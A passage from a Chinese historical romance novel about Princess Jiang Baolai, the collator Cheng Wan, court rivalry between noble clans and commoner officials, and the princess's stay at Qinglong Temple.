王朝几代更迭都在世家门阀与寒门庶族上观点一致。世家就是世家,寒门就是寒门,两相博弈,即使近年来朝中许多朝臣曾上书谏言,包括当朝宰相杨太傅,几次不畏帝威,皇帝也曾命人严查过科举舞弊,或权贵凭科举投机取巧者。
但寒门入仕者多年来仍然寥寥几人。也可以说近百年来世家早已垄断了朝堂。寒门不得出头。即是宴会,世家也鲜少会与寒门同桌而食。
直到今岁科举,太子举荐了一位新科进士进了崇文馆,而且还得了皇帝的允许,朝官们才觉得皇帝这是想让姚尚书多个能与他抗衡的,出身寒门的对手。
太子近年因幼年缘故,身子时好时坏,素来体弱多病,若换作以往,一国皇储与当朝宰相联姻,身在帝位至高无上的君主自是不允许,也不愿意见到的。
但这些年,长明帝为了这个最疼爱的儿子,发妻谢氏所出的嫡子,太庙祭祖、南郊祭天,慈恩寺为爱子祈福、道观寻求庇佑,桩桩件件不曾落下。只为这个先后所出的嫡长子康康健健长大。
杨太傅的两个孙女,自幼得中宫谢氏喜爱,也算与太子青梅竹马。杨家长孙女已因婚约前些年嫁人,这唯一还尚在闺中的杨家小孙女杨文君,长明帝便有了打算。
虽年岁小,与太子相差七八岁,但自古以来,前朝时的帝后也不是没有这个例子。
太子自幼羸弱年少丧母,发妻归去十八载,总归待自己离去后,这个位置,这江山是要由自己的嫡长子来座,来治理这片国土的。
杨太傅身为帝师,如今辅助储君,又素来与誉满杏坛之名,先让太子与杨家定下婚约也没什么。
但太子却以身体羸弱,婚姻之事,待日后再说。
长明帝叹:“皇儿,而今你年二十六龄,你叔父家的长子,孙儿都能去学堂了。从前你与父皇说自己身子骨不大好,莫辜负了别人家的女儿,那日后你有何打算?东宫不能为储妃,你可明白?”
姜朔玉朝御案上的皇帝辑礼:“劳父皇多年费心,容儿臣再想一想。”
长明帝遂未在坚持,当然也因有另一层缘故……
-
邵典书说:“……微臣与程校书在茶肆里吃茶,茶没端上来多久,对街的东篱酒肆就起了争执,也就是一眨眼的功夫,微臣发现程校书离开了茶馆。微臣想着此事不简单,忙跟了上去。刚进了那间酒肆便看见姚二郎带着家仆将程校书围了起来,微臣亲眼瞧见姚二郎将手中的一把椅子朝程校书挥了过去。”
“那姚二郎满身酒气,说这小小九品校书郎逞什么能?程校书顾得上这个却顾不上其他,挨了那家仆的一酒壶,姚二郎又抄起那账房的算盘,被微臣抢了过去。”
“后来姚二郎觉得失了面子不依,还是他兄长鸿胪寺寺丞来了酒肆,此事才作罢。”
姜宝来听邵典书说了事情始末,早已沉下了脸,她瞪了过去:“破相了?这事儿就这么了了?”
刚才远远地她也没瞧清。
邵典书悻悻道:“姚寺丞要家仆带着程校书去医馆看伤……”说到最后,邵典书的声音越来越小:“程校书没去,说不妨事,家里有药酒……”
“啪”地一声,邵典书一个心惊肉跳,只见公主起身一掌拍在了书案上。
正逢覃楹拿了考卷回来,姜宝来让邵典书退了下去,想了想,她又附耳交代了多吉一番。
多吉有些迟疑,姜宝来见此板起了脸,多吉见此只得退了出去。
眼见着多吉离开了学馆,姜宝来一手握住了那只狼毫笔,在那几张考卷上运笔如飞起来。
片刻,覃楹见公主指名道姓让她去给学馆里“新任”的“程学士”送过去。
姜宝来见覃楹走后,又对多吉道:“待上一会,那程学士若没出现,你就将他捉过来。”
多吉笑道:“真捉了公主可不会怪罪奴?”
姜宝来抬眸,笑盈盈地看着多吉:“多吉这是病好了?”
-
覃楹将考卷送到了讲堂的隔间,程晚见公主身边的侍女先是一怔,不过很快回过神来,明白公主来了学馆。
他有礼地起身接过考卷,见覃楹离去,又道了一声多谢。
程晚将考卷拿在手中,映入眼帘的却是丝毫未曾落笔的一张考卷。
随后,程晚将考卷翻阅开来,第二页的是试卷上竟多出了两个人物小像。
一笔一画,眉眼神韵,栩栩如生,仿佛充满了生命力一般。
画笔下,程晚一身浅青官袍,头戴幞头,低垂着眉眼,正在堂内认真批阅着考卷。而考卷上落下四个醒目的小字:玄机在后。
程晚垂眸失笑,一双清眸也在此刻如秋水般柔润澄澈。
紧接着他再将考卷翻到最后一页。
只见画笔下,一锦衣珠翠的罗裳女郎坐在一张贵妃椅上,眼尾微挑,尽是妩媚,再朝他勾着手指。
程晚蓦地低低一笑,竟在不觉间笑得如此肆意。
-
没过多久,藏书万卷,书香满溢的阁楼迎来了它的主人。
覃楹自然而然把门关上,程晚下意识地回眸瞧了瞧。
突地身前的小窗下传来一声冷言:“我能吃了你?”
“程子煦,走近些!”
程晚手握着那卷考卷,依言走过。姜宝来仔细端详了他片刻,见他那张干
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净白皙的面容上完好,她再朝下移,却看见程晚那白而净的颈间,有一道近三寸长的血痕。
而血痕的边缘,她记得是那日被她咬下的那一口。
姜宝来立时蹙起了秀眉:“你不会躲吗?主动送上门让人打,是不是?”
程晚微微地笑:“子煦不能视若无睹。”
姜宝来一声冷哼:“好个行侠仗义的侠客!九品校书郎就不怕哪一日小命交待了去!”
程晚道:“黄泉路上,可有乐宁与我做伴?”
姜宝来突地被气笑,看着他问:“程子煦你在咒我死吗?”
程晚眼眸温和:“不敢。天上人间子煦甘愿陪同公主。公主无畏生死,子煦亦当无畏生死。”
姜宝来再哼了一声:“姚家世代簪缨,宫里还出了一位宠妃,如今可是父皇上心尖上的宝贝。你当真要为那寒门学子出头?”
程晚想也未想:“人人皆为凡夫俗子,食五谷、寻衣蔽体、谋求生计。子煦未觉姚家与旁人有何不同。”
直到这时,姜宝来才起了身,而后走近他,二人唯有半不远的距离。
良久,姜宝来幽幽道:“我也不喜姚家。”
很快,姜宝来又问:“那探花胡饼香不香?”
见程晚满面的茫然,姜宝来再道:“给你送餐的小厮呢?”
程晚仔细想了想:“不曾有。”
“是么……”姜宝来突然拉长了音调:“可是东市的探花胡饼就要卖疯了啊。”
“你只知道下了值要去吃馎饦么?”
她未给程晚说话的机会,便让雾萝去取了药膏来。
姜宝来让程晚坐了下来,程晚笑道:“我自己来就好。”
姜宝来飞快地瞪了过去。
程晚见此渐渐移开了欲接过药瓶的手。
姜宝来一指沾着药膏,轻轻划过程晚的颈间。
一触温热袭来,让程晚的心头一凝,随后不觉间喉间一滚。
但他已心有所觉,公主并没有认真为他上药,而是在他的脖颈上,看似无意实则有意地轻轻滑过。
他抬眸,眉眼里尽是柔和:“乐宁。摸够了吗?”
姜宝来闻言一怔,随后她眨眨眼:“我不是在给你上药么?你认为我在占你便宜?程子煦,亲都亲了,抱……还没有抱过,要不我们试试?”
程晚高挺的鼻梁下,嘴唇微微翘了起来。
见此,姜宝来也未揪着此言不放,而是没头没脑地说了一句:“程子煦,那些女子里面可大多都是名门望族。”
她见程晚不语,姜宝来上药的力度忽然重了一分。
程晚抬起眸。
姜宝来:“你不痛么?”
刹那,她俯下身一口咬了上去,在那血痕的边缘再留下一道浅浅地咬痕。
程晚长睫一颤,随后笑:“这般就痛了。”
姜宝来道:“程子煦,你知不知道都城三姝?”
程晚问:“哪三姝?”
“乐宁定不在此姝里。”
姜宝来一愣:“为何?”
程晚答:“乐宁与她人自然不同。”
姜宝来听罢,看着他颈间的血痕,蹙起了眉,没好气地道:“那我也让那姚二郎知道你程子煦的不同!有何打量打了她的人。”说着她转过了身,正想唤多吉想了法子,好好教训一顿那个姚二郎。可她却忘了多吉已被被她派了出去不在崇文馆。
程晚却在这时起身道:“我未与他计较。”
姜宝来正心带着一团火,闻言紧绷着面,唰地转过了身:“停停停。”
却不防程晚已在椅上起了身,她也未迈出还不到半步的距离。就在这个当口,两人的身体紧紧相贴在了一处。
姜宝来重心顿觉不稳,下意识朝后仰去,倒不忘一手抓住了程晚颈下的那片衣襟。
而程晚已先一步伸手将她拥了过来,一手牢牢握住她的腰肢,将她带回了自己的怀里。
34. 青龙寺小住
一刹,因突如其来的变故与程晚下意识不由自主的举动,四目相对的一瞬,姜宝来的额头猝不及防,直挺挺地撞到了程晚的怀中。
姜宝来一声闷哼:“程子煦,我疼……”
“还有些晕晕的……”
说着她一手扶住额角,步子动了动,顺势朝后一个趔趄,似很快就要跌倒。
接二连三的意外,让程晚还未来得及松下一口气,他一手仍牢牢握着姜宝来的腰身,见她欲朝后仰去,又伸出另一只手去拥她。
待姜宝来站定,程晚终于如释负重,这才去仔细看她。
果见她蹙着一双眉,神情略微痛苦地一手扶住额角,光滑饱满的额头,一枚火红的宝石花钿,随着自小窗折射进来的光晕,好似一朵娇嫩美丽的牡丹落在她的眉心。
而鬓间的珠翠也随着她的动作摇摇晃晃不停。
程晚略一失神,很快问:“哪里痛?”
“你方才撞到我头了,男人的胸膛硬如石。我……不行了,我现在觉得天旋地转,不知东南西北。”姜宝来没好气地说道。
声音也较来时弱了三分。
程晚不疑有他,一手抚摸上了姜宝来的额头,用指腹轻轻地揉着,良久,温声问:“有没有好一些。”
二人咫尺间的距离,怀抱中的温度,与程晚轻轻呼出的那一缕鼻息,姜宝来只觉似有一片轻飘飘又沉甸甸的羽毛,飘来飘去,晃来晃去,最后飘到了她的心头。
从前她在自己的闺阁中小憩,时常捧着坊间的话本子睡了过去,阿媚时常会捣蛋,煽动着自己的羽毛,在她面前跳来跳去飞来飞去,耸起的羽冠时常戳得她痒痒。
而今这种痒感,却是痒到心头,酥酥麻麻的。
姜宝来干脆阖上了眼,侧过了头贴在程晚的胸膛上,利落道:“没好!痛!”
“程子煦,抱紧我,否则我又要摔倒了。”
程晚闻言身形一僵,这才发觉自己的另一只手还握在她的腰身上,始终未曾挪去。
程晚突地面色一红,随后一双澄澈漂亮的眼眸朝姜宝来望去。
他无奈地道:“乐宁,你诓我的?”随之,那只手也移了开来。
姜宝来忽地咯咯一笑,一手将他按在了原处,紧接着抬起了头,先映入眼帘的却是他白皙的脖颈与微微滚动的喉结,她眨眨眼:“谁说的?我确实痛了啊。”
炽阳自小窗而入,洒在程晚的周身,一身浅青色衣袍就如雨后的晴天,而那一张干净的面容,是不染半分尘俗般,亦犹如天上月。
程晚低垂着眼睫,望着视野里躲不开的那一抹朱红,肆意上扬的唇瓣。
姜宝来忽地笑哼了一声:“程子煦,什么时候你能主动一次?”说着她再倾身上前一寸,仰着头,唇瓣轻擦过他的唇间:“例如,你可尝得出,我今日饮得何种酒?”
-
傍晚,公主府的食官自公主用过晚膳后,又切了凉瓜等小食供公主享用。
姜宝来一手拄着腮,阖着眼,懒洋洋地倚在榻上听着下首的女乐官轻弹着琵琶。
少顷,姜宝来忽地睁开了眼,问正在调香的覃楹:“多吉呢?”
覃楹道:“婢子去将多吉公公唤来。”
不多时,多吉轻手轻脚地进了屋子,轻唤了一声“公主。,殿内的几个侍女也随着覃楹、雾萝纷纷退了出去。
姜宝来摇着扇,一时未语,多吉也未再次开口。良久他又忽地听公主问:“多吉,你来与我说一说杨家的旧事吧。”
多吉忽而忆起公主今日在学馆里提起的事,他略一思量,开口道:“当年娘娘去皇家寺庙的确是要为还未出世的公主与淮南王祈福的,杨家姐妹的母亲戚夫人与杨家姐妹也曾随行。”
“那阿娘是为何动了胎气?”
多吉闻言继续道:“当年杨太傅教导太子殿下,娘娘很是喜欢杨太傅的这一双便时常叫杨家姐妹两个去宫中做伴。为此也与带着女儿去宫中的戚夫人熟识起来。”
说到此处多吉忽然垂下了眼睫:“娘娘在寺里住了两日,日日为还在路上等待回长安经三司会审的淮南王诵经、抄写经书,倒也一切还好。”
“戚夫人见娘娘日渐消瘦,整日闭门不出,与娘娘身边的女官素影为此想了法子,想带着娘娘去寺外的寒梅林散散心,谁想杨家跟去的随从在梅林里摘梅枝,娘娘听见了淮南王的噩耗,受了惊吓。”
“那后来呢?”
多吉道:“娘娘得知淮南王死在了回长安的路上欲先一步回宫,将怀胎六月的戚夫人留在了慈恩寺托宫人照料。”
姜宝来听到此处,忽然问:“那戚夫人为何没与阿娘一同离开?”
多吉的声音里充满了悲凉:“当时天降暴雨娘娘执意回宫,戚夫人已怀胎六月,又带着一双女儿,文君娘子尚还在婴童时,娘娘为防又有不测便先离开了。谁想戚夫人却在娘娘离开后,也跟着离开了慈恩寺。”
“但那日雨势骤急,大雨拦了回城的路,为此杨家的马车陷入了泥潭,戚夫人动了胎气,腹中的胎儿并没有保下来,文君娘子也高烧了几日,险些夭折……”
-
夜深时,公主府大大小小的院子落了锁,覃楹从顾绮处回来忧心仲仲与雾萝谈心:“顾娘子还是老样子……”
姜宝来却一夜未好眠,朦胧里似恍恍如梦。她梦见了前世,梦见了过去十八年的种种。
夜凉如水,凉台上的一面闭合的小窗忽地随风吹散开,自檐上垂下的纱帐也随之微动轻晃,满室的珠帘也在风过时叮叮作响。
昏昏大雾里,一白衣女郎,手提着一盏明灯,白衣盛雪,乌发长垂,立在氤氲中。
女郎满面素白,未敷脂粉,耳畔忽听得那飘渺白雾里响起一声高语:“你要为何人改命?”
女郎不疾不徐走过,再提着明灯朝茫茫白雾里去探,却发现她竟只身在自己的长乐宫。白雾已在刹那散去,而头顶也随之多了一轮明月。
白衣女郎再欲提灯朝漆黑,一片死寂的凉台上一探,却发现凉台下的一片碧波,女郎忽地下意识倒退一步,耳畔却忽地响起一阵阵仓促焦急地脚步声。
“殿下——”
“太子殿下——”
姜宝来寻着声音一步一步走过,却发现不知何时竟身在那座高耸的深宫里。
姜宝来眉心微微蹙起,再回头去寻覃楹与雾萝的身影,却发现除她外不见一人踪迹。
而自己,明明在早间从崇文馆回府后便再不曾
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出门,又是在何时去了阿兄的东宫?
姜宝来尚来不及过多的思考,便见远处的廊下一行目露慌张的宫女急朝着一间屋室走去。
姜宝来鬼使神差地提灯走过,却见自己的胞兄唇无血色,卧于床榻之上,周遭围满了御医与暗自呜咽的茂才。
姜朔玉一手撑着床沿,突地口吐一口鲜血,随后重重倒于床榻之上。
耳畔再是一声声呼唤。
姜宝来见此面色大变,提着那盏明灯朝床榻上紧阖着双眼的胞兄走去:“阿兄——”
天光大亮,却是一室的明朗与静谧。
姜宝来从梦中惊醒,脱口而出一句“阿兄”,可身侧却是仍然忧心仲仲的覃楹。
覃楹立在床榻边,听见动静撩开罗帐上前一看,正见公主满面煞白,失魂落魄。
覃楹自十一岁少龄随公主侧,却从未见过这般失态的公主。她唤过跟在后面进了屋子的覃楹,忙道:“快去唤御医。”
姜宝来却一手按住了覃楹,无精打采道:“不必。我只是做了噩梦。”
覃楹道:“夜里起风了,婢子来瞧公主见公主睡不安宁,便点了一炷安神香。”
姜宝来闻言鼻间微动,一缕檀香缓缓入鼻,她忽地想起昨日的梦魇里,白雾中的一声高语。
覃楹看着公主下了榻又坐在了铜镜前,对雾萝道:“小萝儿,快来为我梳发。”并与她说:“今日的粉多覆些。”
覃楹从铜镜里望去,见公主眼下的一片乌青,上前问:“公主可是要出门?”
-
正午时,长乐宫若干忠仆,随着公主登上了草木苍翠茂盛的青龙寺。
雾萝跟随在侧,瞧着施施然朝古刹里走去的公主,心下疑虑。
公主的原意是来去青龙寺小住一些时日,但雾萝侍奉公主多年,却还是头一遭见她留宿寺中。
空山住持带着小沙弥亲来迎他们的“招财神”,雾萝理了行囊,又出了屋子朝半山腰望了望。
果然不见覃楹的踪影。
今日公主离府时,命覃楹去了趟沈家。雾萝听着公主的意思,竟是因为那盒粉碎的唇脂,公主很是喜欢,命覃楹走上沈家一遭,再去与湘君娘子讨来一盒。
之后覃楹自会来寺里与他们汇合。但还在公主府的顾娘子。雾萝想起早间的情情景,那顾娘子无论如何都不肯离开那座小院,抱着廊庑的柱子便不撒手。
公主只无奈道:“这是真把我的长乐宫当家了,罢了。”
覃楹回来时,正见随行来的侍女们与雾萝在院子里的深井中镇着凉瓜,而公主正与这坐寺院的新住持说着话。
客房的门扉大敞着,覃楹能瞧见公主正板着一张面,一双明眸含着怒意。而那个新住持却只能瞧见他的一身素色僧衣与他单薄的背影。
覃楹见此便规规矩矩地立在客房外,等着那新住持离去。
过不久,那法号为空山的和尚从屋子里走了出来,覃楹见此垂着眸稍稍避让,恰逢公主在屋子里朝她问:“东西取回来了?”
覃楹闻言抬起了头,正欲回禀,却是与那眉清目秀的和尚眼神一个互望对视。
覃楹尚未来得及将目光移开,空山已先一步飞快地躲闪避让开。
35. 佛珠
傍晚,小沙弥跟着寺里的知客来送晚食,姜宝来瞧着跟在那小沙弥身后的一只雪白的幼犬,忽然感觉有些眼熟。
小沙弥也在这时瞧见了姜宝来来朝那幼犬投去的目光,于是他开口道:“是有一个常来的香客送来的。女施主喜欢?”说着小沙弥一叹:“这些都是无家可归的狗儿,很是可怜哩!不过近来庙里香客多了,它也跟着享福啦!”
姜宝来想起那日这小沙弥口中,时常来寺里添香火钱的香客,随口问:“那他岂不是没有再来过?”
小沙弥摸了摸自己的光头,道:“怎会?那香客仍然常来与空山师父说话呀!”
姜宝来忽然笑了笑:“他与你们师父有什么好说的?”
小沙弥却摸摸头再不言语了。
姜宝来见他生得可爱,唇红齿白,前些时日还头大身小的体型,如今也能撑得起来他那身小僧衣。
她让雾萝去取了覃楹今日现做出来得点心给了他,小沙弥却感动得泪眼汪汪。
公主一连在青龙寺住了两日,但寺庙不比在公主府自在,来来往往的香客众多,侍女们晚间歇得早,这夜大家伙却突闻寺里得灶房忽然起了火。
姜宝来正在房里捧着一卷经书,犹如看天文数字,这两日侍女们也时常陪着公主抄下两页经书为公主祈福。
得知灶房起了火,她吩咐覃楹去看了看。倒不为其他,这个覃楹自打九年前来了她身边处处都是好的,只是太过认真、太过执着,别人抄了两页经书便罢,可她公主府里的覃掌事却能陪着她在屋子里,一坐就是一晌午,这经书抄起来也是勤勤恳恳,一丝不苟。
她的脖子都酸了,覃楹就没有感觉么?
覃楹依言去了寺中的灶房,望着眼前早已被熄灭的火势与乱成一锅粥的灶房,还未待一脚迈进去,忽地被一只从内径直朝他奔来的狗儿拦住了去路。覃楹躲闪不及,被那狗儿绊得险些摔倒。
电光火石间,她正欲一手扶住门扉让自己的身体站定,却先被一只温热的手掌牢牢握在她的手臂上。
那只温热的手掌骤然松开,紧接着,覃楹还未看清将她扶住的人,还未曾道一声谢,二人的额头便因那股大力,猛地相撞在了一起。
覃楹顿觉眼前一片黑暗,眼里冒着繁星。
而对面的青年僧人也自然好不到哪里去,一手捂着额头,一阵天旋地转,身子朝后退了退。
一缕焚香缓缓吸入鼻间,覃楹心下感到奇怪,只因那日在安化坊所遇,那突然冲出来的疯乞丐身上似乎也有淡淡的一股香气。那股味道虽然不明显,但那日她为护住公主在宴会上要穿得裙衫,结结实实摔下了马,额头也为此磕在了车辕上。
但那日还未等她摔在那坚硬,铺满青钻的地面,那个疯子便摇摇晃晃跌在了她的面前,不巧成了她的肉盾。
思及此,覃楹回过了神,见对面同样捂着额头的空山,不禁一愣。
但还未多想,这几日一直来客房送饭的小沙弥便从灶房里走了出来。
覃楹这才知道,原是白日里公主的赠食,小沙弥甚是感动,竟想夜深时偷偷做了明日的朝食,待天亮给公主送去。
覃楹得知事情的来龙去脉哭笑不得,正想开口安慰起小沙弥几句,余光却见还在原地停留的住持空山。
覃楹迟疑一瞬,转过头朝空山道:“听闻空山住持昔日常去山下化缘,不知可有去过坊间?”
空山见面前的姑娘在夜凉如水的月色下睁着一双清瞳,唇角含着得体温婉的笑意朝着自己望过来。
他只稍稍在那双清瞳里停留一瞬,便垂下了眸施礼道:“既离尘世又焉能染尘垢,小僧不曾去过。”说着空山又朝覃楹一望:“女施主何出此言?”
覃楹笑笑再未多言,而后她一瞬不瞬地盯着空山看了半晌,空山却以诵经为由先一步离去。
见空山走后,覃楹又看向身侧的小沙弥,忽而自语道:“都言空山住持心衰慈悲,待人仁善温和,年纪轻轻竟已担任住持一职,恐怕这些年来多有不易。”
小沙弥摸了摸光秃秃的脑瓜,用眼瞥了瞥空山离去的方向,而后伸长了脖子将头探了过来问覃楹:“女施主怎知?空山师父最是沉默寡言了。”
见覃楹朝他望了过来,小沙弥抿了抿唇又道:“他不爱说话呀!从前来这儿的香客还说师父性情古怪呢!”
不过倒也是,这个师父哪哪都好,就是不爱讲话,彷佛他的世界里只有诵经礼佛,偶尔破天荒的还能看见他在后山砍砍柴、种种花。还有,那时常来寺里添香火的俏香客,空山师父似乎只能与他说上几句。
覃楹带着满心的疑虑回了客房,姜宝来得知灶房的火已经熄灭便再未多问。
覃楹踌躇一二,见屋子里只有雾萝一个,正要开口,姜宝来却借着屋子里的烛光瞧见她额头上的一道疤痕。
姜宝来突地放下了手中的经书,起身上前看了过来:“哎呀!怎么上了药还留下疤了啊?”
覃楹知公主话语里带着关心,笑道:“当日的确磕得不轻,公主不必为婢子忧心。”
姜宝来轻哼了一声:“我担心你了吗?”
覃楹笑眯眯地看着公主,又听公主道:“衣服是死的,人是活的,什么最重要?命最重要!”
说着姜宝来又敲了敲面前的矮几:“还有你,小萝儿,听没听到?”
正一手拖着腮昏昏欲睡的雾萝骤然惊醒,满眼地茫然。
覃楹抿着唇笑:“婢子只知道公主的任何都重要。”
姜宝来闻言轻哼了一声:“明日你也去听听经罢,不必在我跟前伺候了。正巧这几日没事给你阿娘抄抄经书,念佛的不是都爱如此?”
-
翌日小沙弥送来了一个半个巴掌大的小瓷瓶,却是兀自找上了覃楹。
覃楹觉得奇怪,小沙弥却说:“昨日见女施主额上有道疤痕,此乃寺里特配的药膏,很是管用,女施主请用。”
覃楹听罢更是奇怪,狐疑地接过。
奇奇怪怪的青龙寺,奇奇怪怪的新住持,怎的寺院里也卖起了药膏么?
这般想着,覃楹解开了腰间的荷包掏出了一些碎银,正要给那小沙弥递过,小沙弥却一溜烟地跑开了。
-
姜宝来在青龙寺小住了几日,日日听着庙堂里传出的诵经声,故而睡了几日安稳觉。
临下山前,小沙弥送来了一串佛珠送给了公主,见公主接了过去,小沙弥又从袖中掏出了一串较小的佛珠,朝覃楹递过。
姜宝来看得一乐:“怎么?你们寺里如今为讨香客欢心,开始送去佛珠了么?”
小沙弥干巴巴笑了笑:“非也非也。女施主的佛珠乃有护身之意,而那位女施主的佛珠有佛珠庇佑之意。”
雾萝在一旁等着小沙弥相赠佛珠,等来等去却不见小沙弥再有赠珠的打算。
她不禁问:“我怎的没有?”
小沙弥一拍光头:“啊呀,小僧忘了,下次一定补上。”
晌午时姜宝来离开了青龙寺,却在山脚下遇见一位不速之客。
姜宝来看着突然出现在自己面前的魏翊扬,问:“你怎么知道我在这儿?”
魏翊扬只灼灼望着步辇上的公主含笑不语。
姜宝来瞪过道:“我堂堂一国公主天不怕地不怕。”
魏翊扬很是赞成的点了点头:“姜乐宁一身是胆。”
他护送这公
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主的步辇朝山下而行,又见步辇上的公主懒洋洋倚在软垫上,并无倦意。
于是他开口问:“阿绮可还好?”
姜宝来幽幽道:“原先胆子就小,没想到现在胆子更小,本想带她来寺里的。”
魏翊扬闻言一笑:“阿娘近来常问起阿绮,我只道她得了公主赏识,阿娘听了便也放心了。”
“哦。那你要如何谢我?”姜宝来随口问。
魏翊扬笑:“乐宁要我如何谢?”说着他朝步辇前微微一靠近,低语道:“以身相许行不行?”
姜宝来闻言忽地坐起了身,朝着魏翊扬再瞪了过去,随后她摇摇头:“依我看不太行。”
“魏翊扬,长安的姑娘多着,你再朝前多走一步行不行?”
魏翊扬闻言低笑了一声,悠哉游哉地开口道:“回公主的话,依我看也不太行。”
姜宝来:“……”
-
似火的骄阳高悬在天际,魏翊扬寸步不离地守在公主的步辇前经过东市的闹市。
刚刚下值的程晚与邵典书走在一处,邵典书正眉飞色舞地与程晚一番高谈阔论,目光不经意扫过公主的步辇,与在步辇前穿着甚是眨眼的一个怀抱长剑的英俊郎君。
邵典书不觉瞪起了眼,一手去扯程晚的衣袖。
“程老弟,你快看。”
姜宝来正在步辇上打着盹,步辇缓缓穿过闹市,经过行人的身侧。
邵典书再见程晚竟随着百姓一同避让起那架步辇,索性一闭眼睛大喊:“程老弟,你怎么了?可是那日被打傻了?”
本在阖眼小眠的姜宝来倏地睁开了双眼,随之与人群中的程晚双眼一碰撞。
邵典书当即行礼道:“在这儿遇见殿下真是巧。”说着他又回过头对程晚笑嘻嘻说:“殿下也许、可能、大概……还不知,程校书近来茶饭不思,让微臣好生担心。”
姜宝来看向程晚挑了挑眉:“没吃饭?”
程晚正要开口说话,邵典书却一把拽住了程晚,抢先一步道:“公主,臣等正要去吃。”
邵典书话说到此处,忽地又眼睛一亮,看向了魏翊扬:“这不是金吾卫中郎将?老远看见下官没敢认,还以为是守护公主的仪卫。”
魏翊扬朝他瞥过一眼,淡淡笑了笑,问邵典书:“你是哪个?”
邵典书笑哈哈:“下官姓邵,目下在崇文馆担任典书一职。”
魏翊扬微微点了点头,又朝程晚看去,程晚见此点了点头行了一常礼。
邵典书道:“看来魏中郎将定是没吃晚食,要不然我们一道去延寿坊程家饱餐一顿如何?下官亲自掌勺,不过若是嫌弃鄙人,这不还有程校书。魏中郎将定是没吃过程校书的烤肉,那可谓是一绝。”
邵典书滔滔不绝:“不过延寿坊程家是是一滴酒水也没有,一个酒壶也寻不到的。要想喝酒阿需要自己带!”
姜宝来饶有兴致地听着邵典书侃侃而谈,忽地忆起那日在西市程晚也是不饮酒的,她一手摇着扇,尽是柔情妩媚地看向步辇下静立,嘴角含笑的程晚。
雾萝在旁无声笑了起来,暗自道:别看公主在笑盈盈摇扇,实际魂早跑去那探花郎跟前了。
很快,几人又听魏翊扬道:“抱歉,有劳邵典书费心,吾无甚兴趣。”
魏翊扬又回眸问起公主:“乐宁,你饿不饿,在寺里今日可有用膳?”
程晚低垂着眼睫,听过耳畔微动。
原来这几日她去了青龙寺……
姜宝来:“我?我吃了呀!”
魏翊扬听罢心满意足地点点头。
谁料姜宝来又说:“可是禁不住这一道风餐露宿,颠得我饿了呀!”
36. 延寿坊程家
雾萝抿唇忍笑,她们出来时公主已经用了朝食,而公主府的仪卫平日里训练有素,抬起步辇来向来都是稳的,哪里就如公主说的那般。
雾萝看透不说透。
姜宝来眼含着笑意看向程晚,他笑时嘴角边凹陷的两个小梨涡,道:“延寿坊程家?启程罢。”
-
这个初入长安的寒门书生,曲江游宴摘花踏春的探花郎,虽说屡屡与他偶然相遇。
恩……该做的都做了,不该做的还差些火候。
但她还未曾去过他的家。
想起他如今熟门熟路地去她的长乐宫,她的闺阁,她还从来没到过居所。
延寿坊程家,就如姜宝来口中,他的“清贵”一般,屋子里没什么东西。
一张床榻、一个狭小的衣橱、一张临窗的书案、案上放了许多书籍与一盏烛台,还有一张陈旧斑驳的木椅,除此之外再无他物了。
但姜宝来一进门又看到那把她送给他的伞。
姜宝来饶有兴致地朝四周看了看,忽地勾唇笑了笑:“程子煦,我来这儿,你……如何?有没有一点喜悦?”
程晚见她眼睛里一闪而过的一丝狡黠,还隐隐带着小小的得意,不由眼中也漾起了笑意:“子煦迎请公主到寒舍一叙。”
姜宝来尚对他的回答表示满意,微笑着微微颔首。
程晚见她一双如霜雪洗净般的明瞳此刻炯炯生辉,他突地想起每到夜晚时,他临窗而坐,头顶的那轮明月。
身在广陵的八年漫长岁月,再到彭城的十二年光景,周遭的一切都在改变,唯有头顶的那轮皓月从不曾离他而去。
姜宝来一手摇着扇,忽地幽幽道:“我有些累了,要打个盹。从山上下来我可一直不曾休息。”
程晚听她忽然说起感到困乏,忆起了在行宫里发生的那些事。
他正想开口,一旁的魏翊扬却蹙起了眉头:“乐宁?我送你回府。”
显然他并不赞同一个正值妙龄,芳华年少的公主,平白无故的无端宿在一个陌生男人家中。
姜宝来已慢悠悠坐在了那把古老的椅上,朝他瞪了一眼。
邵典书在门廊处见此忙冲了进来欲将他拉走:“咦?魏中郎将,听闻你的剑法极好,自幼就喜舞枪弄棒,无人能敌。魏中郎将定是不晓得,下官仰慕你多时,走,这程家的后院儿地方大,魏中郎将舞起剑来有施展之地。”说着,不由分说将他拽了出去。
魏翊扬显然没料到这个弱不禁风的青年人竟然力大如牛,一股大力将他转眼拉拽到了门廊下。
魏翊扬当即与他过招,谁料邵典书却一躲一闪,招式瞬变,轻松应对。
邵典书哈哈大笑:“这就小瞧人了不是?别看我是个未入流的基层官,可我祖上可是出过宰相,太爷爷当过武将的。”
魏翊扬挑了挑眉,却未再与他过招。他再朝屋内瞥了一眼,见公主的两个侍女都围在侧侍奉,便随着邵典书去了后院。
程晚见二人离去,这才道:“可有好好吃药?”
那日夹竹桃花粉一事,姜朔玉为防打草惊蛇只请了带去行宫的心腹医官为姜宝来诊治了一番。
她与姚芳好这些年来势同水火,素来不对付,除了要紧的宴会与身为公主伴读在学馆听书的日子,平日里倒也不会接触。况且,那花粉是从那日御苑的宴会上才有的,她虽被那花粉有所影响,在接触姚芳好后常觉乏困,但好在时日尚短,并无过多影响。
待姜朔玉回了都城,还是让心腹医官备了汤药,让胞妹饮上几副。
姜宝来闻言道:“我……吃了啊!”
一旁的雾萝听罢抿了抿唇,她素来胆子大敢直言,且公主对她这些年极好,想说的话并不会藏着掖着。
何况公主这些时日并没有好好吃药,公主觉得药苦,便是灶房准备了各式各样的蜜饯也难以下咽。
公主直蹙着眉头,直道那些苦药就是她的天敌。
她与覃掌事劝不过索性站在公主面前纹丝不动,只拿眼盯着公主看。看着她能吃一些是一些。
于是她道:“公主并没好好吃药。”
姜宝来闻言飞快地瞪了她一眼,手中的团扇当即打在了她的肩头上。
雾萝一躲,忙随着其他几个进了屋子的侍女要一同上前整理床榻,因为她们太熟悉公主了。
公主向来是个说到做到的性子,可向来养尊处优的公主如何能在这简陋屋舍歇息?
谁知,公主下一刻却令她们统统退下。
程晚见顷刻退出了屋子的侍从,又见公主恍若未闻,再次上前一步,温声问:“没有好好吃药?”
姜宝来轻哼了一声,瞪他:“我说吃了就吃了,你若不相信就不信好了,难不成还想去我公主府,白日黑夜的盯着我?”
程晚仍然用柔和地目光看着她:“是觉得药苦?”
他再道:“我去给你买饴糖。”
